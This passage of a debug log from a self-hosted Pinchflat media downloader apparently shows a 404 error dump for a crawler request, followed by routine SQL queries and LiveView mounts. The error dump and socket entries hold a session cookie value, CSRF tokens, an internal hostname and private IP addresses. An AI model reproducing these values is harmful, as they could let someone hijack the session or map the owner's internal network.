"https://pinchflat.internal.ubrown.me/sources/3/media/213", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVVE4bmJiS1c3ZFI0NVlrbzFpTUZsZ183.tCnv4Lq1Nt3V0BxEbsSlX6fqjaElOxAAzybnnRxuYxY" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3213.0>, params: %{}, path_info: ["sources", "3", "media", "213", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVVE4bmJiS1c3ZFI0NVlrbzFpTUZsZ183.tCnv4Lq1Nt3V0BxEbsSlX6fqjaElOxAAzybnnRxuYxY" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVVE4bmJiS1c3ZFI0NVlrbzFpTUZsZ183.tCnv4Lq1Nt3V0BxEbsSlX6fqjaElOxAAzybnnRxuYxY"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/3/media/213"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/3/media/213/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDjwsmr5-JIXgoAAGKD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3212.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/213/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 59946}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVVE4bmJiS1c3ZFI0NVlrbzFpTUZsZ183.tCnv4Lq1Nt3V0BxEbsSlX6fqjaElOxAAzybnnRxuYxY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3/media/213", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/213/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3212.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/213/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 59946}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVVE4bmJiS1c3ZFI0NVlrbzFpTUZsZ183.tCnv4Lq1Nt3V0BxEbsSlX6fqjaElOxAAzybnnRxuYxY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3/media/213", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", bo (truncated) 23:31:29.092 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:59.093 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.046 [info] {"source":"oban","duration":135,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:32:15.378 [info] GET /sources/3/media/213 23:32:15.379 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "213", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 23:32:15.379 [debug] QUERY OK source="media_items" db=0.3ms idle=1075.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [213] 23:32:15.380 [debug] QUERY OK source="tasks" db=0.1ms idle=867.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [213] 23:32:15.380 [debug] QUERY OK source="sources" db=0.1ms idle=867.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:32:15.380 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=868.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [120] 23:32:15.380 [debug] QUERY OK source="settings" db=0.1ms idle=76.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:32:15.381 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:32:15.381 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:32:15.381 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:32:15.383 [info] Sent 200 in 4ms 23:32:29.094 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:58.592 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 23:32:59.095 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.047 [info] {"source":"oban","duration":144,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:33:20.962 [info] GET /sources/new 23:33:20.962 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "3"} Pipelines: [:browser] 23:33:20.963 [debug] QUERY OK source="sources" db=0.1ms idle=1450.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:33:20.963 [debug] QUERY OK source="media_profiles" db=0.0ms idle=587.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 23:33:20.963 [debug] QUERY OK source="settings" db=0.0ms idle=451.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:33:20.963 [debug] QUERY OK source="settings" db=0.0ms idle=451.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:33:20.963 [debug] QUERY OK source="settings" db=0.0ms idle=451.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:33:20.964 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:33:20.964 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:33:20.966 [info] Sent 200 in 3ms 23:33:28.611 [info] GET / 23:33:28.611 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 23:33:28.612 [debug] QUERY OK source="settings" db=0.1ms idle=227.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:33:28.612 [debug] QUERY OK source="media_profiles" db=0.1ms idle=100.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:33:28.612 [debug] QUERY OK source="sources" db=0.0ms idle=100.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:33:28.613 [debug] QUERY OK source="media_items" db=0.3ms idle=100.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:33:28.613 [debug] QUERY OK source="media_items" db=0.1ms idle=101.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:33:28.613 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:33:28.613 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:33:28.613 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:33:28.614 [debug] QUERY OK source="tasks" db=0.1ms idle=1.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:33:28.614 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:33:28.615 [debug] QUERY OK source="media_items" db=0.2ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:33:28.615 [debug] QUERY OK source="sources" db=0.1ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 3] 23:33:28.617 [debug] QUERY OK source="media_items" db=0.6ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:33:28.618 [debug] QUERY OK source="media_items" db=0.4ms idle=3.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:33:28.618 [info] Sent 200 in 6ms 23:33:29.096 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:29.402 [info] CONNECTED TO Phoenix.LiveView.Socket in 20µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "emMmPXQ7JgEgfiU-OHEDMUIaDzQEaAw300oQ3ye6J7FOsEVY4THwO-fR", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:33:29.516 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JSIlGBC7jIcqK4UhvNGCKEje", "media_state" => "downloaded"} 23:33:29.516 [debug] QUERY OK source="media_items" db=0.1ms idle=900.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:33:29.516 [debug] QUERY OK source="media_items" db=0.2ms idle=899.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:33:29.517 [debug] QUERY OK source="sources" db=0.1ms idle=898.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 3] 23:33:29.517 [debug] Replied in 1ms 23:33:29.519 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JSIlGBC7jIcqK4UhvNGCKEje", "media_state" => "pending"} 23:33:29.519 [debug] QUERY OK source="media_items" db=0.2ms idle=422.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:33:29.519 [debug] QUERY OK source="media_items" db=0.3ms idle=134.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:33:29.520 [debug] Replied in 990µs 23:33:29.520 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JSIlGBC7jIcqK4UhvNGCKEje"} 23:33:29.521 [debug] QUERY OK source="tasks" db=0.5ms idle=4.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:33:29.521 [debug] Replied in 824µs 23:33:29.521 [debug] MOUNT 